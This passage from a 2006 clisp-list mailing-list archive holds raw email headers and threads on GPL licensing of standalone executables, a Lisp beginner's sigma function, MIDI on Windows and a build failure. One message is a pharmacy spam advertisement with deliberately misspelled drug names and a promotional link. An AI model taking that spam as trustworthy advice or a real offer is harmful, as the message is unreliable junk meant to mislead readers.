(void*)GetProcAddress(modules[i],name))) break; } else { /* EnumProcessModules not available, maybe we are on Windows 98 */ HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, 0); if (hSnapshot != INVALID_HANDLE_VALUE) { MODULEENTRY32 moduleEntry; moduleEntry.dwSize = sizeof(MODULEENTRY32); if (Module32First(hSnapshot, &moduleEntry)) { while (1) { ret = (void*)GetProcAddress(moduleEntry.hModule, name); if (ret) break; if (!Module32Next(hSnapshot, &moduleEntry)) break; } } CloseHandle(hSnapshot); } } } else ret = (void*)GetProcAddress((HMODULE)handle,name); #else ret = dlsym(handle,name); #endif return ret; } -- Frank Buss, fb@frank-buss.de http://www.frank-buss.de, http://www.it4-systems.de From Roman.Belenov@intel.com Mon Jan 30 01:04:43 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F3Uxn-0007dv-QX for clisp-list@lists.sourceforge.net; Mon, 30 Jan 2006 01:04:43 -0800 Received: from fmr17.intel.com ([134.134.136.16] helo=orsfmr002.jf.intel.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F3Uxn-0005mn-KH for clisp-list@lists.sourceforge.net; Mon, 30 Jan 2006 01:04:43 -0800 Received: from orsfmr101.jf.intel.com (orsfmr101.jf.intel.com [10.7.209.17]) by orsfmr002.jf.intel.com (8.12.10/8.12.10/d: major-outer.mc,v 1.1 2004/09/17 17:50:56 root Exp $) with ESMTP id k0U94KH4011947; Mon, 30 Jan 2006 09:04:20 GMT Received: from orsmsxvs040.jf.intel.com (orsmsxvs040.jf.intel.com [192.168.65.206]) by orsfmr101.jf.intel.com (8.12.10/8.12.10/d: major-inner.mc,v 1.2 2004/09/17 18:05:01 root Exp $) with SMTP id k0U94AA3008764; Mon, 30 Jan 2006 09:04:16 GMT Received: (from NNWRBELENOV41 [10.125.17.115]) by orsmsxvs040.jf.intel.com (SAVSMTP 3.1.7.47) with SMTP id M2006013001041218234 ; Mon, 30 Jan 2006 01:04:15 -0800 To: Cc: clisp-list@lists.sourceforge.net, "Steven E.Harris" Subject: Re: [clisp-list] Re: standalone executables & command line arguments References: <20060126174347.GC7080@w-m-p.com> <17369.64477.325464.166594@thalassa.informatimago.com> From: Roman Belenov In-Reply-To: <17369.64477.325464.166594@thalassa.informatimago.com> (Pascal Bourguignon's message of "Fri, 27 Jan 2006 11:54:21 +0100") Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/23.0.0 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Scanned-By: MIMEDefang 2.52 on 10.7.209.17 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jan 30 01:05:05 2006 X-Original-Date: Mon, 30 Jan 2006 12:04:12 +0300 Pascal Bourguignon writes: > IIUC, the GPL implies that a user must be able to extract the image, > and to compile a patched version of clisp (eg. with added modules), > and to save a new executable with the extracted image and the patched > clisp. IMHO GPL requires only the source availability, so pointers to the source of the clisp and the application (giving the user the possibility to create the image himself) should be sufficient (and they are required anyway). > Similarly, he should be able to patch any clisp lisp function > (ie. needs a REPL in the saved image). Having the source gives user the possibility to enable repl even if application author/maintainer hided it. > All this even without considering the license of the application in this > image. Relationship between clisp and clisp-based application seems to be close enough to propagate GPL to the app. -- With regards, Roman. From Roman.Belenov@intel.com Mon Jan 30 01:11:07 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F3V3r-00084a-Nn for clisp-list@lists.sourceforge.net; Mon, 30 Jan 2006 01:10:59 -0800 Received: from fmr14.intel.com ([192.55.52.68] helo=fmsfmr002.fm.intel.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F3V3q-0008Tv-Ew for clisp-list@lists.sourceforge.net; Mon, 30 Jan 2006 01:10:59 -0800 Received: from fmsfmr100.fm.intel.com (fmsfmr100.fm.intel.com [10.253.24.20]) by fmsfmr002.fm.intel.com (8.12.10/8.12.10/d: major-outer.mc,v 1.1 2004/09/17 17:50:56 root Exp $) with ESMTP id k0U9AkQQ020972; Mon, 30 Jan 2006 09:10:46 GMT Received: from fmsmsxvs043.fm.intel.com (fmsmsxvs043.fm.intel.com [132.233.42.129]) by fmsfmr100.fm.intel.com (8.12.10/8.12.10/d: major-inner.mc,v 1.2 2004/09/17 18:05:01 root Exp $) with SMTP id k0U9Ak7l009657; Mon, 30 Jan 2006 09:10:46 GMT Received: (from NNWRBELENOV41 [10.125.17.115]) by fmsmsxvs043.fm.intel.com (SAVSMTP 3.1.7.47) with SMTP id M2006013001104229130 ; Mon, 30 Jan 2006 01:10:45 -0800 To: "Frank Buss" Cc: Subject: Re: [clisp-list] Licence References: <20060127185013.80840DA697@smtp4.netcologne.de> From: Roman Belenov In-Reply-To: <20060127185013.80840DA697@smtp4.netcologne.de> (Frank Buss's message of "Fri, 27 Jan 2006 19:50:16 +0100") Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/23.0.0 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Scanned-By: MIMEDefang 2.52 on 10.253.24.20 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jan 30 01:12:01 2006 X-Original-Date: Mon, 30 Jan 2006 12:10:41 +0300 "Frank Buss" writes: > Is the image-linking considered as "foreign non-Lisp code that is linked > with CLISP"? It's probably not, but it seems that ability to create standalone executables requires changes in the license. While user's image can be treated as independent work, single executable file with lots of GPL-licensed code inside look like derived one. -- With regards, Roman. From pjb@informatimago.com Mon Jan 30 03:44:24 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F3XSI-0001vZ-IX for clisp-list@lists.sourceforge.net; Mon, 30 Jan 2006 03:44:22 -0800 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F3XSE-0004Pp-9s for clisp-list@lists.sourceforge.net; Mon, 30 Jan 2006 03:44:22 -0800 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 91552585E6; Mon, 30 Jan 2006 12:41:43 +0100 (CET) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 6A5C5585C8; Mon, 30 Jan 2006 12:30:02 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 904618315; Mon, 30 Jan 2006 12:29:52 +0100 (CET) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17373.63664.288552.207717@thalassa.informatimago.com> To: Roman Belenov Cc: , clisp-list@lists.sourceforge.net, "Steven E.Harris" Subject: Re: [clisp-list] Re: standalone executables & command line arguments In-Reply-To: References: <20060126174347.GC7080@w-m-p.com> <17369.64477.325464.166594@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=0.2 required=5.0 tests=BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jan 30 03:45:02 2006 X-Original-Date: Mon, 30 Jan 2006 12:29:52 +0100 Roman Belenov writes: > Pascal Bourguignon writes: > > > IIUC, the GPL implies that a user must be able to extract the image, > > and to compile a patched version of clisp (eg. with added modules), > > and to save a new executable with the extracted image and the patched > > clisp. > > IMHO GPL requires only the source availability, so pointers to the source of > the clisp and the application (giving the user the possibility to create the > image himself) should be sufficient (and they are required anyway). > > > Similarly, he should be able to patch any clisp lisp function > > (ie. needs a REPL in the saved image). > > Having the source gives user the possibility to enable repl even if > application author/maintainer hided it. Indeed, the sources of clisp, the .fas of the application and a script to build the image anew. Then the user can modify it to generate a version of the image with REPL. > > All this even without considering the license of the application in this > > image. > > Relationship between clisp and clisp-based application seems to be close > enough to propagate GPL to the app. Not necessarily. -- __Pascal Bourguignon__ http://www.informatimago.com/ This is a signature virus. Add me to your signature and help me to live. From GDCMEGM@owndbyforce.com Mon Jan 30 06:13:16 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F3ZmK-0005XP-OO for clisp-list@lists.sourceforge.net; Mon, 30 Jan 2006 06:13:12 -0800 Received: from [221.135.229.95] (helo=221-135-229-95.sify.net) by mail.sourceforge.net with smtp (Exim 4.44) id 1F3ZmF-00088E-FG for clisp-list@lists.sourceforge.net; Mon, 30 Jan 2006 06:13:12 -0800 Received: from .webhost3.alterusa.com id CFB60294DE; Tue, 31 Jan 2006 11:03:26 +0500 Received: by .webhost9.starnetusa.net (Postfix, from userid 300) id CFB66024DE; Tue, 31 Jan 2006 03:05:26 -0300 Message-Id: <26761130090241.CFB8539DE@.starnetusa.net> From: "Rosalind Dejesus" To: clisp-list@lists.sf.net X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Dear customer - from support Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jan 30 06:14:02 2006 X-Original-Date: Tue, 31 Jan 2006 11:10:26 +0500 "Ci-iallis Sof-tabs" is better than Pfizer V-iiaggrra and normal Ci-ialis because: - Guarantes 36 hours lasting - Safe to take, no side effectts at all - Boost and increase se-xual perfoormance - Haarder e-rectiiions and quick recharge - Proven and c-ertified by e-xperts and d-octors - only $1.98 per tabs - Special offeer! These prices - are valid u-ntil 30th of January ! Cllick hereee: http://lexgolf.com From j-mequin@ti.com Mon Jan 30 23:44:45 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F3qBx-0003ST-Dl for clisp-list@lists.sourceforge.net; Mon, 30 Jan 2006 23:44:45 -0800 Received: from reloaded.ext.ti.com ([192.94.94.6]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1F3qBx-0002Cr-AI for clisp-list@lists.sourceforge.net; Mon, 30 Jan 2006 23:44:45 -0800 Received: from dlep31.itg.ti.com ([157.170.170.35]) by reloaded.ext.ti.com (8.13.4/8.13.4) with ESMTP id k0V7huhx003162 for ; Tue, 31 Jan 2006 01:44:01 -0600 (CST) Received: from ti.com (localhost [127.0.0.1]) by dlep31.itg.ti.com (8.12.11/8.12.11) with ESMTP id k0V7hqfY018365; Tue, 31 Jan 2006 01:43:53 -0600 (CST) Message-ID: <43DF1538.80008@ti.com> From: Jacques Mequin Organization: Modeling & Specific Software Development, Texas Instruments France (Nice) User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0.2) Gecko/20021120 Netscape/7.01 X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] 'success story' Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jan 30 23:45:21 2006 X-Original-Date: Tue, 31 Jan 2006 08:43:52 +0100 Hello, First I am french (nobody is perfect), I am a software developer at Texas Instruments since 25 years I work in a R&D writing internal tools helping the simulation and investiguation of new integrated circuit architecture After "Fortran", "Pascal" , "C", I went finally to functional programming in the 90's with various kind of "scheme" In 2000, 2001 I have developped a tool in "OZ" that is a facinating language and environment If you do not know anything about it, you must take a look The 2 robots actually on planet Mars have been programmed partly in "OZ" Starting last years, I have decided to switch to "Common Lisp" I do beleive that it is the ideal language for fast prototyping, and R&D "what if" experiments of new concepts CLIPS is great because it covers reliably the wide spectrum of the ANSI specification To tell the truth, the environment around me is rather hostile regarding LISP It is a priviledge of my 25 years of service to have the right to use LISP for my work if I judge it necessary Week after week, I am trying to convince people around me of its remarkable effiiciency Some of them have already done the switch Regards, Jacques From reini.urban@gmail.com Tue Jan 31 00:22:07 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F3qm5-0005p0-GW for clisp-list@lists.sourceforge.net; Tue, 31 Jan 2006 00:22:05 -0800 Received: from xproxy.gmail.com ([66.249.82.194]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F3qm4-0004Jb-0x for clisp-list@lists.sourceforge.net; Tue, 31 Jan 2006 00:22:05 -0800 Received: by xproxy.gmail.com with SMTP id s6so830056wxc for ; Tue, 31 Jan 2006 00:22:02 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=DOKtF0uEgTb00ZzFP8w6JqSe8nsW/nhEuI83xg5RibxP3+3SYKF3kIY/dhkPMfLwcLNhM354d8/kyj8IzjJtsGk9D6N2HtTEnqgMMGWO9PhGzVqeEKtH0WiIWozve2tS4ZaiIfNKx4/D4EUNtjx8E8PWPa6xNjTslOkOJUmm418= Received: by 10.11.98.44 with SMTP id v44mr88722cwb; Tue, 31 Jan 2006 00:22:02 -0800 (PST) Received: by 10.11.98.30 with HTTP; Tue, 31 Jan 2006 00:22:01 -0800 (PST) Message-ID: <6910a60601310022n365a624ar@mail.gmail.com> From: Reini Urban Reply-To: Reini Urban To: Jacques Mequin Subject: Re: [clisp-list] 'success story' Cc: clisp-list@lists.sourceforge.net In-Reply-To: <43DF1538.80008@ti.com> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: <43DF1538.80008@ti.com> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 31 00:23:03 2006 X-Original-Date: Tue, 31 Jan 2006 09:22:01 +0100 2006/1/31, Jacques Mequin : > First I am french (nobody is perfect), > > I am a software developer at Texas Instruments since 25 years > > I work in a R&D writing internal tools helping the simulation and > investiguation of new integrated circuit architecture > > After "Fortran", "Pascal" , "C", I went finally to functional > programming in the 90's with various kind of "scheme" > > In 2000, 2001 I have developped a tool in "OZ" that is > a facinating language and environment > If you do not know anything about it, you must take a look > The 2 robots actually on planet Mars have been programmed > partly in "OZ" > > Starting last years, I have decided to switch to "Common Lisp" > > I do beleive that it is the ideal language for fast prototyping, > and R&D "what if" experiments of new concepts > > CLIPS is great because it covers reliably the wide spectrum of > the ANSI specification CLIPS or clisp??? These are different beasts. I believe Texas Instruments uses both. I believe you meant clisp. > To tell the truth, the environment around me is rather hostile > regarding LISP > > It is a priviledge of my 25 years of service to have the > right to use LISP for my work if I judge it necessary > > Week after week, I am trying to convince people around > me of its remarkable effiiciency > Some of them have already done the switch -- Reini Urban http://phpwiki.org/ http://spacemovie.mur.at/ http://helsinki.at/ From eleuteri@myrealbox.com Tue Jan 31 05:17:47 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F3vOF-0001hw-7X for clisp-list@lists.sourceforge.net; Tue, 31 Jan 2006 05:17:47 -0800 Received: from smtp-send.myrealbox.com ([151.155.5.143]) by mail.sourceforge.net with esmtps (TLSv1:DES-CBC3-SHA:168) (Exim 4.44) id 1F3vOD-0005kr-Up for clisp-list@lists.sourceforge.net; Tue, 31 Jan 2006 05:17:47 -0800 Received: from enterprise eleuteri [213.60.77.115] by smtp-send.myrealbox.com with NetMail SMTP Agent $Revision: 1.6 $ on Linux; Tue, 31 Jan 2006 06:17:42 -0700 Message-ID: <000901c62668$b7dd5d70$0302a8c0@enterprise> From: "David Picon Alvarez" To: Organization: Comusis S.L. MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1506 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1506 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Music programming under MS Windows Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 31 05:18:11 2006 X-Original-Date: Tue, 31 Jan 2006 14:17:40 +0100 Hi, I have installed clisp 2.37 under Windows. I've been looking for extensions that would allow me to use midi sound, but I haven't been able to find clear information. Is it possible to access the sound card's midi synthesis under windows from clisp? How should I go about it? I've found stuff about midishae and portmidi but I'm not clear if those things can do syntehsis on the sound card or only send midi commands through a midi port. Help would be appreciated, --David. From lisp-clisp-list@m.gmane.org Tue Jan 31 10:10:48 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F3zxl-0001oG-MX for clisp-list@lists.sourceforge.net; Tue, 31 Jan 2006 10:10:45 -0800 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1F3zxk-0007HE-7J for clisp-list@lists.sourceforge.net; Tue, 31 Jan 2006 10:10:45 -0800 Received: from root by ciao.gmane.org with local (Exim 4.43) id 1F3zxN-0008Hj-Kq for clisp-list@lists.sourceforge.net; Tue, 31 Jan 2006 19:10:21 +0100 Received: from pool-71-113-188-208.frstil.dsl-w.verizon.net ([71.113.188.208]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 31 Jan 2006 19:10:21 +0100 Received: from david.j.novogrodsky by pool-71-113-188-208.frstil.dsl-w.verizon.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 31 Jan 2006 19:10:21 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: david Lines: 29 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: main.gmane.org User-Agent: Loom/3.14 (http://gmane.org/) X-Loom-IP: 71.113.188.208 (Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051111 Firefox/1.5) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] question about creating a first-class function Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 31 10:11:05 2006 X-Original-Date: Tue, 31 Jan 2006 17:53:56 +0000 (UTC) I created this function using recursion: (defun sigma-sum (lower upper step) "Sum numbers from lower to upper incrementing the lower by step" (cond ( (> lower upper) 0) (t (+ lower (sigma-sum (+ step lower) upper step))))) it works fine, but I am trying to create a function that can be used for any problem expressed in sigma notation. Here is that attempt: (defun sigma (opr lower upper step) "Operate on numbers using process defined by sigma notation." (cond ( (> lower upper) 0) (t ((apply opr lower (sigma (apply opr step lower) upper step)))))) and here is how I call the function: (sigma '+ 1 4 1) but it does not work. Any advice? From pjb@informatimago.com Tue Jan 31 13:00:34 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F42c4-0008Db-8A for clisp-list@lists.sourceforge.net; Tue, 31 Jan 2006 13:00:32 -0800 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F42c0-0000se-0W for clisp-list@lists.sourceforge.net; Tue, 31 Jan 2006 13:00:32 -0800 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 13AB6585E7; Tue, 31 Jan 2006 21:21:55 +0100 (CET) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 6D1FE585EB; Tue, 31 Jan 2006 20:56:27 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 233A1831C; Tue, 31 Jan 2006 20:53:33 +0100 (CET) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17375.49213.61864.571642@thalassa.informatimago.com> To: david Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] question about creating a first-class function In-Reply-To: References: X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 31 13:01:04 2006 X-Original-Date: Tue, 31 Jan 2006 20:53:33 +0100 david writes: > I created this function using recursion: > > (defun sigma-sum (lower upper step) > "Sum numbers from lower to upper > incrementing the lower by step" > (cond ( (> lower upper) 0) > (t (+ lower > (sigma-sum > (+ step lower) > upper step))))) > > it works fine, but I am trying to create a function that can be used for any > problem expressed in sigma notation. Here is that attempt: > (defun sigma (opr lower upper step) > "Operate on numbers using process defined > by sigma notation." > (cond ( (> lower upper) 0) > (t ((apply opr lower > (sigma > (apply opr step lower) > upper step)))))) > > and here is how I call the function: > (sigma '+ 1 4 1) > > but it does not work. Any advice? What is the meaning of this form? ((apply opr lower (sigma (apply opr step lower) upper step))) This is not valid Common Lisp syntax. The CAR of a form can only be either: - a symbol denoting the function, the macro or the special operator named by this symbol, or: - a list of the form (lambda arguments . body), denoting the corresponding anonymous function. nothing else. Your intended definition of sigma is wrong. Try it with (function *) and step = 1.0. -- __Pascal Bourguignon__ http://www.informatimago.com/ Nobody can fix the economy. Nobody can be trusted with their finger on the button. Nobody's perfect. VOTE FOR NOBODY. From lisp-clisp-list@m.gmane.org Tue Jan 31 18:26:13 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F47hF-0000tm-Hz for clisp-list@lists.sourceforge.net; Tue, 31 Jan 2006 18:26:13 -0800 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1F47hF-000052-0i for clisp-list@lists.sourceforge.net; Tue, 31 Jan 2006 18:26:13 -0800 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1F47h5-0007Ov-6O for clisp-list@lists.sourceforge.net; Wed, 01 Feb 2006 03:26:05 +0100 Received: from wsip-70-168-64-174.ok.ok.cox.net ([70.168.64.174]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 01 Feb 2006 03:26:03 +0100 Received: from wolfjb by wsip-70-168-64-174.ok.ok.cox.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 01 Feb 2006 03:26:03 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Jeff Lines: 49 Message-ID: References: <43D878FE.3010706@jenty.by> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: main.gmane.org User-Agent: Loom/3.14 (http://gmane.org/) X-Loom-IP: 70.168.64.174 (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322)) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: build failure 2.38 (oracle + mingw) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 31 18:27:00 2006 X-Original-Date: Wed, 1 Feb 2006 02:25:49 +0000 (UTC) Yaroslav Kavenchuk jenty.by> writes: > > Jeff wrote: > > I am trying to build clisp 2.38 to include oracle. In the msys window > > where I > > have started the compile I have set ORACLE_HOME as: > > > > ORACLE_HOME=/c/oracle/ora90 > > > > I am compiling with this command: > > > > ./configure --without-readline 